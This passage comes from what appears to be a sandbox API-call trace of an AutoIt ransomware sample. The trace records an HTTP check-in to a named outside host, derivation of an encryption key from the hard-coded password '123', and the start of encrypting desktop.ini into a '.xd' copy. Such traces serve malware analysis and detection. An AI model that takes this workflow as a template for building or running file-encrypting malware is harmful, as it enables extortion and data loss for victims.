cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0065.549] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.549] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.550] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0065.550] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.550] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0065.550] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0065.550] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0065.550] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0065.550] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0065.550] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fe8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620fe8, lpdwBufferLength=0x130ee1c) returned 1 [0065.551] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0065.551] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0065.551] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0065.555] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0065.555] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0065.555] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0065.555] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0065.555] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0065.555] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0065.557] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0065.557] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0065.557] CloseHandle (hObject=0x0) returned 0 [0065.557] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.557] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0065.558] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0065.558] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.558] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.558] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.558] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.559] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.559] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.559] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0065.560] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.560] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.560] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0065.562] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.562] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.562] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.562] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.562] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.562] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0065.563] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e050, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0065.563] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0065.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0065.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0065.563] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0065.564] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9e78) returned 1 [0065.564] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.565] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.565] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0065.565] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.565] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.565] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.565] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.565] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.565] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.566] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.566] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.566] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.566] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.566] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.566] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.566] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0065.566] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.566] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.566] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.566] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.566] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.566] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.566] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.566] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.566] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.566] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.566] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.566] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.567] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.567] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.567] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.567] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.567] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.567] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.567] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214c8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0065.567] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0065.567] CryptCreateHash (in: hProv=0x17a9e78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0065.567] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.567] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.567] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.567] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0065.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0065.568] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0065.568] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0065.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629670, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0065.568] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.573] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.575] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.575] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0065.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621708, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0065.575] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0065.575] CryptHashData (hHash=0x164c2f0, pbData=0x1629560, dwDataLen=0x3, dwFlags=0x1) returned 1 [0065.575] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.576] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.576] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.576] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.576] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.576] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.576] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.576] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0065.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621870, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0065.578] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0065.578] CryptDeriveKey (in: hProv=0x17a9e78, Algid=0x6610, hBaseData=0x164c2f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c330) returned 1 [0065.578] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.578] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.578] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.578] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.578] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.579] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.579] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0065.579] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0065.580] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0065.580] CryptDestroyHash (hHash=0x164c2f0) returned 1 [0065.580] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.580] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.580] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.581] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.581] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.581] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0065.582] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.582] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0065.582] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.582] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.582] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.582] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0065.583] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\desktop.ini.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0065.586] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.586] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.586] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.586] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.589] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0065.589] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x1f8, lpOverlapped=0x0) returned 1 